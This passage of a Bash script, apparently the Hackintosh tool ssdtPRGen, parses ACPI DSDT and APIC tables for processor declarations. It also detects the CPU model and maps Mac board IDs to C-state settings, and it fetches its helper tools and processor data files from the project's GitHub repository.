grepPatternLength="${#AML_SCOPE_OPCODE}+$typeEncoding+${#grepPattern}" let grepPatternLength="${#AML_SCOPE_OPCODE}+$typeEncoding+${#grepPattern}-2" # # Lower scopeLength with the number of characters that we used for the match. # let scopeLength-=$grepPatternLength _debugPrint "scopeLength: $scopeLength (egrep pattern length: $grepPatternLength)\n" # # Initialise string. # local repetitionString="" # # Prevent "egrep: invalid repetition count(s)" # if [[ $scopeLength -gt 255 ]]; then while [ $scopeLength -gt 255 ]; do local repetitionString+="[0-9a-f]{255}" let scopeLength-=255 done fi repetitionString+="[0-9a-f]{${scopeLength}}" # echo $repetitionString # # Extract the whole Scope() {}. # local scopeObjectData=$(egrep -o "${scopeObjectData}${repetitionString}" "$filename" | tr -d '\n') # echo "scopeObjectData: $scopeObjectData" _debugPrint "scopeObjectData length ${#scopeObjectData} (includes egrep pattern)\n" if [[ $scopeObjectData ]]; then # # Check for target scope in $scopeObjectData, there is no device name ("") # and $(($index < 5)) informs it about the ACPI 1.0 compliance (true/false). # _checkForProcessorDeclarations $scopeObjectData "" $(($index < 5)) # # Check return status (0 is SUCCESS). # # if [[ $? -eq 0 ]]; # if [[ $? -eq ${#gProcessorNames[@]} ]]; if [[ $? -eq $gLogicalCPUs ]]; then # # Reinitialise scopeLength (lowered for the repetitionString). # let scopeLength="${#scopeObjectData}" printf 'Scope ('$scopeName') {'$scopeLength' bytes} with ACPI Processor declarations found in the DSDT (ACPI 1.0 compliant)\n' # # Construct processor scope name. # if [[ $scopeName =~ ^[\\] ]]; then gScope=$scopeName else # # Without the leading '\' the IASL compiler fails with: # # Error 4085 - Object not found or not accessible from scope ^ (_PR_.CPU0.APSS) # Error 4085 - Object not found or not accessible from scope ^ (_PR_.CPU1.ACST) # gScope='\'$scopeName fi return else _debugPrint 'Scope ('$scopeName') {'$scopeLength' bytes} without ACPI Processor declarations ...\n\n' fi fi done fi done done } # #-------------------------------------------------------------------------------- # function _getEnabledProcessors() { # # Check APIC structure type 00 for enabled processors. # gEnabledProcessors=($(egrep -o '0008[0-9a-f]{4}01000000' "/tmp/APIC.dat")) # # Note: Here is an explanation of the data: # # 0008000001000000 # ^^ = APIC structure type (Processor Local APIC). # # 0008000001000000 # ^^ = APIC structure length (8). # # 0008000001000000 # ^^ = ACPI Processor ID. # # 0008000001000000 # ^^ = APIC ID. # # 0008000001000000 # ^^^^^^^^ = APIC flags (enabled processors = 01 / disabled = 00). # # Do we have the minimum number (2) of logical processors? # if [[ ${#gEnabledProcessors[@]} -lt 2 ]]; then # # No. Error out. # _PRINT_MSG "Error: Not enough enabled processors found in: ${gOverridePath}/APIC.aml!" _ABORT fi } # #-------------------------------------------------------------------------------- # function _isEnabledProcessor() { local processorID local targetProcessorID=$1 # # Loop through the array with enabled processors. # for processorID in "${gEnabledProcessors[@]}" do # # Is this the processorID we are looking for? # if [[ ${processorID:4:2} == $targetProcessorID ]]; then # # Yes. Check APIC flags to see if the processor is enabled. # if [[ ${processorID:8:8} == "01000000" ]]; then # # Processor enabled. # return 1 fi fi done # # ProcessorID not found, or procesor not enabled. # return 0 } # #-------------------------------------------------------------------------------- # function _convertACPIFiles() { # # Is argument -mode custom used? # if [[ $gCustomMode -eq 1 ]]; then # # Yes. Use override path for ACPI files. # local path="${gOverridePath}" else # # ACPI table path specified (argument -extract)? # if [[ $gExtractionPath ]]; then # # Yes. Use given path. # local path="${gExtractionPath}" else # # No. Use default path (~/Library/ssdtPRGen/ACPI) # local path="${gACPITablePath}" fi fi # # Is argument -developer 1 used, and not -extract [some path]? # if [[ $gDeveloperMode -eq 1 ]] && [[ ! $gExtractionPath ]]; then # # Yes. Fixup ACPI table path. # local path="${gPath}/ACPI" fi # # Check for required file DSDT.aml # if [[ -f "${path}/DSDT.aml" ]]; then # # Convert the override DSDT.aml file to postscript format. # xxd -c 256 -ps "${path}/DSDT.aml" | tr -d '\n' > "/tmp/DSDT.dat" else # # # _PRINT_MSG "Error: ${path}/DSDT.aml not found!" _ABORT fi # # Check for required file APIC.aml # if [[ -f "${path}/APIC.aml" ]]; then # # # xxd -c 256 -ps "${path}/APIC.aml" | tr -d '\n' > "/tmp/APIC.dat" else # # # _PRINT_MSG "Error: ${path}/APIC.aml not found!" _ABORT fi } # #-------------------------------------------------------------------------------- # function _initProcessorScope() { # # Local variable declarations. # local filename="/tmp/DSDT.dat" local processorDeclarationsFound # # Local variable initialisation. # let processorDeclarationsFound=0 # # Check for Device()s with enclosed Name (_HID, "ACPI0004") objects. # _getACPIProcessorScope # # Did we find any with Processor declarations? # if [[ $gScope != "" ]]; then # # Yes. We're done searching for the processor scope/declarations. # return else # # Note: This is not necessarily an error! # _debugPrint "Name (_HID, \"ACPI0004\") NOT found in the DSDT\n" fi # # Search for ACPI v1.0 compliant scopes (like _PR and _PR_). # _getProcessorScope # # Do we have a scope with processor declarations in it? # if [[ $gScope != "" ]]; then # # Yes. We're done searching for the processor scope/declarations. # return else # # Additional check for processor declarations with child objects. # if [[ $(egrep -o '5b83[0-9a-f]{2}04' "$filename") ]]; then printf 'ACPI Processor {.} Declaration(s) found in DSDT\n' let processorDeclarationsFound=1 else # # Check for processor declarations without child objects. # if [[ $(egrep -o '5b830b' "$filename") ]]; then printf 'ACPI Processor {} Declaration(s) found in DSDT\n' let processorDeclarationsFound=1 fi fi # # Check for processor declarations with RootChar in DSDT. # local data=$(egrep -o '5b83[0-9a-f]{2}5c2e[0-9a-f]{8}' "$filename") if [[ $data ]]; then printf "ACPI Processor {...} Declaration(s) with RootChar ('\\\') found in DSDT" gScope="\\"$(echo ${data:10:8} | xxd -r -p) if [[ $gScope == "\_PR_" ]]; then echo ' (ACPI 1.0 compliant)' elif [[ $gScope == "\_SB_" ]]; then echo ' (none ACPI 1.0 compliant)' else echo ' - ERROR: Invalid Scope Used!' fi return fi # # Check for processor declarations with DualNamePrefix in the DSDT. # local data=$(egrep -o '5b83[0-9a-f]{2}2e[0-9a-f]{8}' "$filename") if [[ $data ]]; then printf "ACPI Processor {...} Declaration(s) with DualNamePrefix ('.') found in DSDT" gScope="\\"$(echo ${data:8:8} | xxd -r -p) if [[ $gScope == "\_PR_" ]]; then echo ' (ACPI 1.0 compliant)' elif [[ $gScope == "\_SB_" ]]; then echo ' (none ACPI 1.0 compliant)' else echo ' - ERROR: Invalid Scope Used!' fi return fi # # Check for processor declarations with MultiNamePrefix (without leading backslash) in the DSDT. # local data=$(egrep -o '5b83[0-9a-f]{2}2f[0-9a-f]{2}' "$filename") if [[ $data ]]; then printf "ACPI Processor {...} Declaration(s) with MultiNamePrefix ('/') found in DSDT" let scopeLength=("0x"${data:8:2})*4*2 local data=$(egrep -o '5b83[0-9a-f]{2}2f[0-9a-f]{'$scopeLength'}' "$filename") partOne=$(echo ${data:10:8} | xxd -r -p) partTwo=$(echo ${data:18:8} | xxd -r -p) gScope="\\${partOne}.${partTwo}" if [[ $gScope =~ "\_PR_" ]]; then echo ' (ACPI 1.0 compliant)' elif [[ $gScope =~ "\_SB_" ]]; then echo ' (none ACPI 1.0 compliant)' else echo ' - ERROR: Invalid Scope Used!' fi return fi # # Check for processor declarations with MultiNamePrefix (with leading backslash) in the DSDT. # local data=$(egrep -o '5b83[0-9a-f]{2}5c2f[0-9a-f]{2}' "$filename") if [[ $data ]]; then printf "ACPI Processor {...} Declaration(s) with MultiNamePrefix ('/') found in DSDT" let scopeLength=("0x"${data:10:2})*4*2 local data=$(egrep -o '5b83[0-9a-f]{2}5c2f[0-9a-f]{'$scopeLength'}' "$filename") partOne=$(echo ${data:12:8} | xxd -r -p) partTwo=$(echo ${data:20:8} | xxd -r -p) gScope="\\${partOne}.${partTwo}" if [[ $gScope =~ "\_PR_" ]]; then echo ' (ACPI 1.0 compliant)' elif [[ $gScope =~ "\_SB_" ]]; then echo ' (none ACPI 1.0 compliant)' else echo ' - ERROR: Invalid Scope Used!' fi return fi # # Check for processor declarations with ParentPrefixChar in the DSDT. # local data=$(egrep -o '5b83[0-9a-f]{2}5e[0-9a-f]{8}' "$filename") if [[ $data ]]; then printf "ACPI Processor {...} Declaration(s) with ParentPrefixChar ('^') found in DSDT\n" gScope=$(echo ${data:6:2} | xxd -r -p) # ioreg -w0 -p IOACPIPlane -c IOACPIPlatformDevice -n _SB -r > ~/Library/ssdtPRGen/dsdt2.txt if [[ $gScope =~ "^" ]]; then printf "Searching for Parent Scope ... " else echo ' - ERROR: Invalid Scope Used!' fi return fi fi # # Did we find a Scope (_PR) {} object in the DSDT? # # Note: We end up here if all patterns failed to match anything but the _PR scope. # if [[ $gScopePRFound -eq 1 ]]; then gScope="\_PR" else gScope="\_SB" fi _PRINT_MSG '\nWarning: No ACPI Processor declarations found in the DSDT!\n\t Using assumed Scope ('$gScope') {}\n' } # #-------------------------------------------------------------------------------- # function _getCPUtype() { # # Grab 'cpu-type' property from ioreg (stripped with sed / RegEX magic). # local grepStr=$(ioreg -p IODeviceTree -n "${gProcessorNames[0]}"@0 -k cpu-type | grep cpu-type | sed -e 's/["cputype" ,<>|=-]//g') # Swap bytes with help of ${str:pos:num} # echo ${grepStr:2:2}${grepStr:0:2} } # #-------------------------------------------------------------------------------- # function _getCPUModel() { # # Return the hexadecimal value of machdep.cpu.model # echo 0x$(sysctl machdep.cpu.model | awk '{ printf("%X", $2) }') } # #-------------------------------------------------------------------------------- # function _getCPUSignature() { # # Return the hexadecimal value of machdep.cpu.signature # echo 0x$(sysctl machdep.cpu.signature | awk '{ printf("%X", $2) }') } # #-------------------------------------------------------------------------------- # function _getSystemType() { # # Grab 'system-type' property from ioreg (stripped with sed / RegEX magic). # # Note: This property is checked (cmpb $0x02) in X86PlatformPlugin::configResourceCallback # echo `ioreg -p IODeviceTree -d 2 -k system-type | grep system-type | sed -e 's/ *[-="<0a-z>]//g'` } # #-------------------------------------------------------------------------------- # function _checkForExecutableFile() { local targetFile=$1 # # Check target file. # if [ ! -f "${gToolPath}/${targetFile}" ]; then # # Not there. Do we have the ZIP file? # if [ ! -f "${gToolPath}/${targetFile}.zip" ]; then # # No. Download it from the Github repository. # _PRINT_MSG "Notice: Downloading ${targetFile}.zip ..." curl -o "${gPath}/${targetFile}.zip" --silent "${gGitHubContentURL}/Tools/${targetFile}.zip" # # Unzip ZIP file. # _debugPrint "Unzipping ${targetFile}.zip ..." unzip -qu "${gPath}/${targetFile}.zip" -d "${gToolPath}/" # # Remove downloaded ZIP file. # _debugPrint 'Cleanups ..' rm "${gPath}/${targetFile}.zip" else # # Unzip ZIP file. # _debugPrint "Unzipping ${targetFile}.zip ..." unzip -qu "${gToolPath}/${targetFile}.zip" -d "${gToolPath}/" fi fi # # Check executing bit. # _debugPrint "Setting executing bit of ${targetFile} ..." if [ ! -x "${gToolPath}/${targetFile}" ]; then # # Set executing bit. # printf "Fixing executing bit of ${targetFile} ...\n" chmod +x "${gToolPath}/${targetFile}" fi _debugPrint "_checkForExecutableFile(${targetFile}) Done." } # #-------------------------------------------------------------------------------- # function _findIasl() { # # Do we have to call IASL? # if [[ $gCallIasl -eq 1 ]]; then # # Yes. Do a quick lookup of IASL. # local iasl="$(type -p iasl)" # # Now we have to check if the file is still there. # if [ -x "${iasl}" ]; then # # Yes it is. Let's use it. # gIasl="${iasl}" # # Done (no need to download it from the Github repository). # return fi # # IASL should be there after the first run, but may have been removed since. # _checkForExecutableFile "iasl" fi gIasl="${gToolPath}/iasl" } # #-------------------------------------------------------------------------------- # function _extractAcpiTables() { # # extractACPITables should be there after the first run, but may have been removed since. # _checkForExecutableFile "extractACPITables" # # Do we have a given path for ACPI table extraction? # if [[ $gExtractionPath ]]; then # # Yes. Use given target path for extractACPITables v0.6 and greater. # export SSDTPRGEN_EXTRACTION_PATH="${gExtractionPath}" else # # No. Use default ACPI table path. # export SSDTPRGEN_EXTRACTION_PATH="${gPath}/ACPI" fi # # Does the target directory exist? # if [[ ! -d "${SSDTPRGEN_EXTRACTION_PATH}" ]]; then # # No. We need to create it. # mkdir -p "${SSDTPRGEN_EXTRACTION_PATH}" fi # # About to extract the ACPI tables. # _debugPrint 'Extracting ACPI tables ... ' "${gToolPath}/extractACPITables" _debugPrint 'Done.\n' } # #-------------------------------------------------------------------------------- # function _checkSourceFilename { # # Check for RevoBoot (legacy) setup on root volume. # if [[ -d /Extra/ACPI && -d /Extra/EFI ]]; then let gIsLegacyRevoBoot=1 if [[ $gDestinationPath != "/Extra/ACPI/" ]]; then gDestinationPath="/Extra/ACPI/" _debugPrint "ACPI target directory changed to: ${gDestinationPath}\n" fi if [[ "$gDestinationFile" != "ssdt_pr.aml" ]]; then gSsdtID="ssdt_pr" gSsdtPR="${gPath}/${gSsdtID}.dsl" gDestinationFile="ssdt_pr.aml" _debugPrint "ACPI target filename changed to: ${gDestinationFile}\n" fi fi } # #-------------------------------------------------------------------------------- # function _setDestinationPath { # # Check for mounted EFI volume. # if [ ! -d /Volumes/EFI ]; then # # Not there. # echo 'Creating temporarily mount point: /Volumes/EFI' sudo mkdir /Volumes/EFI printf 'Mounting EFI partition...\n' # # TODO: Get target disk from diskutil list # sudo mount_hfs /dev/disk0s1 /Volumes/EFI let gUnmountEFIPartition=1 fi # # Check for RevoBoot (legacy) setup on EFI volume. # if [ -d /Volumes/EFI/Extra/ACPI ]; then # # Update destination path. # gDestinationPath="/Volumes/EFI/Extra/ACPI/" _debugPrint "ACPI target directory changed to: ${gDestinationPath}" if [[ "$gDestinationFile" != "ssdt_pr.aml" ]]; then gSsdtID="ssdt_pr" gSsdtPR="/Volumes/EFI/Extra/ACPI/${gSsdtID}.dsl" gDestinationFile="ssdt_pr.aml" _debugPrint "ACPI target filename changed to: ${gDestinationFile}\n" fi else # # Check for the new RevoBoot EFI edition. # if [ -d /Volumes/EFI/RevoEFI/ACPI ]; then gDestinationPath="/Volumes/EFI/RevoEFI/ACPI/" _debugPrint "ACPI target directory changed to: ${gDestinationPath}\n" return fi # # Clover checks... must be checked or will be removed!!! # if [ -d /Volumes/EFI/Clover/ACPI/patched ]; then gDestinationPath="/Volumes/EFI/CLOVER/ACPI/patched/" _debugPrint "ACPI target directory changed to: ${gDestinationPath}\n" else # # Check for older versions of Clover. # if [ -d /EFI/ACPI/patched ]; then gDestinationPath="/EFI/ACPI/patched/" echo 'ACPI target directory changed to: '$gDestinationPath fi fi fi } # #-------------------------------------------------------------------------------- # function _getCPUNumberFromBrandString { # # Save default (0) delimiter # local ifs=$IFS # # Change delimiter to a space character # IFS=" " # # Split brandstring into array (data) # local data=($gBrandString) # # Teststrings # # local data=("Intel(R)" "Xeon(R)" "CPU" "E3-1220" "@" "2.5GHz") # local data=("Intel(R)" "Xeon(R)" "CPU" "E3-1220" "v2" "@" "2.5GHz") # local data=("Intel(R)" "Xeon(R)" "CPU" "E3-1220" "v3" "@" "2.5GHz") # local data=("Intel(R)" "Xeon(R)" "CPU" "E3-1220" "0" "@" "2.5GHz") # local data=("Intel(R)" "Core(TM)" "i5-4670K" "CPU" "@" "3.40GHz") # # # Example from a MacBookPro10,2 # # echo "${data[0]}" # Intel(R) # echo "${data[1]}" # Core(TM) # echo "${data[2]}" # i5-3210M # echo "${data[3]}" # CPU # echo "${data[4]}" # @ # echo "${data[5]}" # 2.50GHz # # or: "Intel(R) Xeon(R) CPU E3-1230 V2 @ 3.30GHz" # # echo "${data[0]}" # Intel(R) # echo "${data[1]}" # Xeon(R) # echo "${data[2]}" # CPU # echo "${data[3]}" # E3-12XX # echo "${data[4]}" # V2 # echo "${data[5]}" # @ # echo "${data[6]}" # 3.30GHz # # Restore the default (0) delimiter. # IFS=$ifs let length=${#data[@]} if (( length > 7 )); then echo 'Warning: The brandstring has an unexpected length!' fi # # Is this a Xeon processor model? # if [[ "${data[1]}" == "Xeon(R)" ]]; then # # Yes. Check for lower/upper case 'v' or '0' for OEM processors. # if [[ "${data[4]}" =~ "v" || "${data[4]}" =~ "V" ]]; then # # Use a lowercase 'v' because that is what we use in our data. # gProcessorNumber="${data[3]} v${data[4]:1:1}" elif [[ "${data[4]}" == "0" ]]; then # # OEM CPU's have been reported to use a "0" instead of "v2" # and thus let's use that to make our data match the CPU. # # -target argument used? # if [[ $gBridgeType -gt 0 ]]; then # # Yes. Check target processor model (represented here as 'gBridgeType'). # case "$gBridgeType" in $SANDY_BRIDGE) gProcessorNumber="${data[3]}" ;; $IVY_BRIDGE) gProcessorNumber="${data[3]} v2" ;; esac else # # No. Check Processor model. # case $(_getCPUModel) in 0x2A|0x2C|0x2D) gProcessorNumber="${data[3]}" ;; 0x3A|0x3B|0x3E) gProcessorNumber="${data[3]} v2" ;; esac fi fi else # # Is this a Pentium processor model? # if [[ "${data[1]}" == "Pentium(R)" ]]; then # # Yes. Use fourth value from brandstring ("Intel(R) Pentium(R) CPU G3420 @ 3.20GHz") # gProcessorNumber="${data[3]}" else # # No. Use third value from brandstring for all other processor models. # gProcessorNumber="${data[2]}" fi fi } # #-------------------------------------------------------------------------------- # function _checkForConfigFile { # # Check given file. # if [ ! -f "${gDataPath}/${1}" ]; then # # Not there. # return 1 fi # # Do we have a local Data directory? # if [ -d "Data" ]; then # # Yes. Compare the files. # if [[ $(cmp "${gDataPath}/${1}" "Data/${1}") ]]; then return 2 fi fi # # Check file length. # if [[ $(wc -c "${gDataPath}/${1}" | awk '{print $1}') -lt 100 ]]; then rm "${gDataPath}/$1" return 3 fi return 0 } # #-------------------------------------------------------------------------------- # function _getCPUDataByProcessorNumber { # # Local function definition # function __searchList() { local data local cpuData # # Save default (0) delimiter. # local ifs=$IFS let targetType=0 case $1 in 1) local cpuSpecLists=("gUserDefinedCPUList[@]") ;; 2) local cpuSpecLists=("gDesktopSandyBridgeCPUList[@]" "gMobileSandyBridgeCPUList[@]" "gServerSandyBridgeCPUList[@]") ;; 4) local cpuSpecLists=("gDesktopIvyBridgeCPUList[@]" "gMobileIvyBridgeCPUList[@]" "gServerIvyBridgeCPUList[@]") ;; 8) local cpuSpecLists=("gDesktopHaswellCPUList[@]" "gMobileHaswellCPUList[@]" "gServerHaswellCPUList[@]") ;; 16) local cpuSpecLists=("gDesktopBroadwellCPUList[@]" "gMobileBroadwellCPUList[@]" "gServerBroadwellCPUList[@]") ;; 32) local cpuSpecLists=("gDesktopSkylakeCPUList[@]" "gMobileSkylakeCPUList[@]" "gServerSkylakeCPUList[@]") ;; esac for cpuList in "${cpuSpecLists[@]}" do let targetType+=1 local targetCPUList=("${!cpuList}") for cpuData in "${targetCPUList[@]}" do # # Change delimiter to comma character. # IFS="," # # Split vars. # data=($cpuData) if [[ "${data[0]}" == "${gProcessorNumber}" ]]; then # # Make processor data globally available. # gProcessorData=($cpuData) let gTypeCPU=$targetType # # Is gBridgeType still uninitialised i.e. is argument -target not used? # if [[ $gBridgeType -eq -1 ]]; then if [[ "${#data[@]}" -ge 8 ]]; then let gBridgeType="${data[7]}" else let gBridgeType=$1 fi fi # # Do we have a custom bclk/bus frequency? # if [[ "${#data[@]}" -eq 9 ]]; then let gBusFrequency="${data[8]}" fi # # Restore the default (0) delimiter. # IFS=$ifs _debugPrint "Processor data found for the Intel ${gProcessorNumber}\n" return 1 fi done done # # Restore the default (0) delimiter. # IFS=$ifs return 0 } # # From here on we check/download/load the processor data file(s). # if [ -f "${gDataPath}/User Defined.cfg" ]; then _debugPrint 'Checking User Defined processor data ...\n' source "${gDataPath}/User Defined.cfg" __searchList $USER_DEFINED if [[ $? -eq 1 ]]; then return fi fi _checkForConfigFile "Sandy Bridge.cfg" if [[ $? -eq 1 ]]; then _PRINT_MSG "Notice: Downloading Sandy Bridge.cfg ..." curl -o "${gDataPath}/Sandy Bridge.cfg" --silent "${gGitHubContentURL}/Data/Sandy%20Bridge.cfg" fi source "${gDataPath}/Sandy Bridge.cfg" _debugPrint "Checking Sandy Bridge processor data ...\n" __searchList $SANDY_BRIDGE if (! (( $gTypeCPU ))); then _checkForConfigFile "Ivy Bridge.cfg" if [[ $? -eq 1 ]]; then _PRINT_MSG "Notice: Downloading Ivy Bridge.cfg ..." curl -o "${gDataPath}/Ivy Bridge.cfg" --silent "${gGitHubContentURL}/Data/Ivy%20Bridge.cfg" fi source "${gDataPath}/Ivy Bridge.cfg" _debugPrint "Checking Ivy Bridge processor data ...\n" __searchList $IVY_BRIDGE if (! (( $gTypeCPU ))); then _checkForConfigFile "Haswell.cfg" if [[ $? -eq 1 ]]; then _PRINT_MSG "Notice: Downloading Haswell.cfg ..." curl -o "${gDataPath}/Haswell.cfg" --silent "${gGitHubContentURL}/Data/Haswell.cfg" fi source "${gDataPath}/Haswell.cfg" _debugPrint "Checking Haswell processor data ...\n" __searchList $HASWELL if (! (( $gTypeCPU ))); then _checkForConfigFile "Broadwell.cfg" if [[ $? -eq 1 ]]; then _PRINT_MSG "Notice: Downloading Broadwell.cfg ..." curl -o "${gDataPath}/Broadwell.cfg" --silent "${gGitHubContentURL}/Data/Broadwell.cfg" fi source "${gDataPath}/Broadwell.cfg" _debugPrint "Checking Broadwell processor data ...\n" __searchList $BROADWELL if (! (( $gTypeCPU ))); then _checkForConfigFile "Skylake.cfg" if [[ $? -eq 1 ]]; then _PRINT_MSG "Notice: Downloading Skylake.cfg ..." curl -o "${gDataPath}/Skylake.cfg" --silent "${gGitHubContentURL}/Data/Skylake.cfg" fi source "${gDataPath}/Skylake.cfg" _debugPrint "Checking Skylake processor data ...\n" __searchList $SKYLAKE let gCPUDataVersion=gSkylakeCPUDataVersion else let gCPUDataVersion=gSkylakeCPUDataVersion fi else let gCPUDataVersion=gHaswellCPUDataVersion fi else let gCPUDataVersion=gIvyBridgeCPUDataVersion fi else let gCPUDataVersion=gSandyBridgeCPUDataVersion fi # # Have we founds the processor? # if (! (( $gTypeCPU ))); then # # No. Error out if we failed to locate the processor data. # _exitWithError $PROCESSOR_NUMBER_ERROR $2 else # # Yes. Show version information (helping me to debug stuff). # _PRINT_MSG "Version: models.cfg v${gModelDataVersion} / ${gProcessorDataConfigFiles[$gTypeCPU]} v${gCPUDataVersion}\n" fi } # #-------------------------------------------------------------------------------- # function _showLowPowerStates() { # # Local function definition # function __print() { local mask=1 local cStates=$1 printf "Injected C-States for ${gProcessorNames[$2]} (" # # Haswell : C0, C1, C1E, C2E, C3, C4, C6 and C7 # Haswell-ULT: C0, C1, C1E, C2E, C3, C4, C6, C7, C8, C9 and C10 # for state in C1 C2 C3 C6 C7 C8 C9 C10 do if (($cStates & $mask)); then if (($mask > 1)); then printf "," fi printf "$state" fi let mask=$(($mask << 1)) done echo ')' } # # Local function callers # __print $gACST_CPU0 0 if [ $gBridgeType -ge $IVY_BRIDGE ]; then __print $gACST_CPU1 1 fi } # #-------------------------------------------------------------------------------- # function _checkPlatformSupport() { # # Local function definition # function __searchList() { local data=`awk '/<key>'${1}'<\/key>.*/,/<\/array>/' /System/Library/CoreServices/PlatformSupport.plist` local matched=`echo $data | egrep -o $2` if [ ${#matched} -gt 1 ]; then return 1 fi return 0 } # # This check is required for Snow Leopard compatibility! # if [ -f /System/Library/CoreServices/PlatformSupport.plist ]; then __searchList 'SupportedModelProperties' $gModelID if [ $? == 0 ]; then _PRINT_MSG 'Warning: Model identifier ('$gModelID') not found in..: /S*/L*/CoreServices/PlatformSupport.plist\n' fi __searchList 'SupportedBoardIds' $gBoardID if [ $? == 0 ]; then _PRINT_MSG 'Warning: board-id ('$gBoardID') not found in: /S*/L*/CoreServices/PlatformSupport.plist\n' fi else _PRINT_MSG 'Warning: /S*/L*/C*/PlatformSupport.plist not found (normal for Snow Leopard)!' fi # # Check for FrequencyVectors in plist. # if [ $gBridgeType -ge $HASWELL ]; then local plist="/System/Library/Extensions/IOPlatformPluginFamily.kext/Contents/PlugIns/X86PlatformPlugin.kext/Contents/Resources/${gBoardID}.plist" if [ -e "$plist" ]; then local freqVectorMatched=$(grep -c 'FrequencyVectors' "$plist") if [ $freqVectorMatched -eq 0 ]; then _PRINT_MSG "Warning..: FrequencyVectors missing in ${gBoardID}.plist" printf "\t Download https://github.com/Piker-Alpha/freqVectorsEdit.sh to fix this\n" fi else _PRINT_MSG "Warning: File ${gBoardID}.plist Not Found!" fi fi } # #-------------------------------------------------------------------------------- # function _checkSMCKeys() { # # TODO: Check SMC keys to see if they are there and properly initialized! # # Note: Do <i>not</i> dump SMC keys with HWSensors/iStat or other SMC plug-ins installed! # local filename="/System/Library/Extensions/FakeSMC.kext/Contents/Info.plist" local data=`grep -so '<key>[a-zA-Z]*</key>' $filename | sed -e 's/<key>//' -e 's/<\/key>//g'` local status=`echo $data | grep -oe 'DPLM'` if [ $status == 'DPLM' ]; then # DPLM [{lim] (bytes 00 00 00 00 00) # CPU, Idle, IGPU, EGPU and Memory P-State limits echo "SMC key 'DPLM' found (OK)" fi set -x local status=`echo $data | grep -oe 'MSAL'` if [ $status == 'MSAL' ]; then # MSAL [hex_] (bytes 4b) echo "SMC key 'MSAL' found (OK)" fi } # #-------------------------------------------------------------------------------- # function _checkForXCPM() { # # Is XCPM mode still uninitialised? # if [[ $gXcpm -eq -1 ]]; then # # Check OS version (the 'machdep.xcpm' class is introduced in 10.8.5) # if [[ $gOSVersion -gt 1084 ]]; then # # Yes. Update global variable. # let gXcpm=$(/usr/sbin/sysctl -n machdep.xcpm.mode) # # Is XCPM mode active/ -x 1 argument used? # if [[ $gXcpm -eq 1 && $gIvyWorkAround -gt 0 ]]; then # # Yes. Disable Ivy Bridge workarounds. # let gIvyWorkAround=-1 # # Is the target processor an Ivy Bridge one? # if [[ $gBridgeType == $IVY_BRIDGE ]]; then # # Yes. Inform the user about the change. # printf "\nXCPM mode detected (Ivy Bridge workarounds disabled)\n\n" fi fi fi fi } # #-------------------------------------------------------------------------------- # function _initSandyBridgeSetup() { # # Global variable (re)initialisation. # gSystemType=2 gACST_CPU0=29 # C1, C3, C6 and C7 gACST_CPU1=7 # C1, C2 and C3 # # Overrides are set below. # case $gBoardID in Mac-942B5BF58194151B) gSystemType=1 gTargetMacModel="iMac12,1" gACST_CPU0=13 # C1, C3 and C6 gACST_CPU1=7 # C1, C2 and C3 ;; Mac-942B59F58194171B) gSystemType=1 gTargetMacModel="iMac12,2" gACST_CPU0=13 # C1, C3 and C6 gACST_CPU1=7 # C1, C2 and C3 ;; Mac-8ED6AF5B48C039E1) gSystemType=1 gTargetMacModel="Macmini5,1" gACST_CPU0=13 # C1, C3 and C6 gACST_CPU1=7 # C1, C2 and C3 ;; Mac-4BC72D62AD45599E) gSystemType=1 gTargetMacModel="Macmini5,2" gACST_CPU0=13 # C1, C3, C6 and C7 gACST_CPU1=7 # C1, C2 and C3 ;; Mac-7BA5B2794B2CDB12) gSystemType=1 gTargetMacModel="Macmini5,3" gACST_CPU0=13 # C1, C3, C6 and C7 gACST_CPU1=7 # C1, C2 and C3 ;; Mac-94245B3640C91C81) gTargetMacModel="MacBookPro8,1" ;; Mac-94245A3940C91C80) gTargetMacModel="MacBookPro8,2" ;; Mac-942459F5819B171B) gTargetMacModel="MacBookPro8,3" ;; Mac-C08A6BB70A942AC2) gTargetMacModel="MacBookAir4,1" ;; Mac-742912EFDBEE19B3) gTargetMacModel="MacBookAir4,2" ;; esac } # #-------------------------------------------------------------------------------- # function _initIvyBridgeSetup() { # # Global variable (re)initialisation. # gSystemType=2 gACST_CPU0=29 # C1, C3, C6 and C7 gACST_CPU1=7 # C1, C2 and C3 # # Overrides are set below. # case $gBoardID in Mac-00BE6ED71E35EB86) gSystemType=1 gTargetMacModel="iMac13,1" gACST_CPU0=13 # C1, C3 and C6 gACST_CPU1=7 # C1, C2 and C3 ;; Mac-FC02E91DDD3FA6A4) gSystemType=1 gTargetMacModel="iMac13,2" gACST_CPU0=13 # C1, C3 and C6 gACST_CPU1=7 # C1, C2 and C3 ;; Mac-031AEE4D24BFF0B1) gSystemType=1 gTargetMacModel="Macmini6,1" gACST_CPU0=13 # C1, C3 and C6 gACST_CPU1=7 # C1, C2 and C3 ;; Mac-F65AE981FFA204ED) gSystemType=1 gTargetMacModel="Macmini6,2" gACST_CPU0=13 # C1, C3 and C6 gACST_CPU1=7 # C1, C2 and C3 ;; Mac-4B7AC7E43945597E) gTargetMacModel="MacBookPro9,1" ;; Mac-6F01561E16C75D06) gTargetMacModel="MacBookPro9,2" ;; Mac-C3EC7CD22292981F) gTargetMacModel="MacBookPro10,1" ;; Mac-AFD8A9D944EA4843) gTargetMacModel="MacBookPro10,2" ;; Mac-66F35F19FE2A0D05) gTargetMacModel="MacBookAir5,1" ;; Mac-2E6FAB96566FE58C) gTargetMacModel="MacBookAir5,2" ;; Mac-F60DEB81FF30ACF6) gSystemType=3 gTargetMacModel="MacPro6,1" gACST_CPU0=13 # C1, C3, C6 gACST_CPU1=13 # C1, C3, C6 ;; esac } # #-------------------------------------------------------------------------------- # function _initHaswellSetup() { # # Global variable (re)initialisation. # gSystemType=2 gACST_CPU0=29 # C1, C3, C6 and C7 gACST_CPU1=7 # C1, C2 and C3 # # Overrides are set below. # case $gBoardID in Mac-031B6874CF7F642A) gSystemType=1 gTargetMacModel="iMac14,1" ;; Mac-27ADBB7B4CEE8E61) gSystemType=1 gTargetMacModel="iMac14,2" ;; Mac-77EB7D7DAF985301) gSystemType=1 gTargetMacModel="iMac14,3" ;; Mac-189A3D4F975D5FFC) gTargetMacModel="MacBookPro11,1" gACST_CPU0=253 # C1, C3, C6, C7, C8, C9 and C10 gACST_CPU1=31 # C1, C2, C3, C6 and C7 ;; Mac-3CBD00234E554E41) gTargetMacModel="MacBookPro11,2" gACST_CPU0=253 # C1, C3, C6, C7, C8, C9 and C10 gACST_CPU1=31 # C1, C2, C3, C6 and C7 ;; Mac-2BD1B31983FE1663) gTargetMacModel="MacBookPro11,3" gACST_CPU0=253 # C1, C3, C6, C7, C8, C9 and C10 gACST_CPU1=31 # 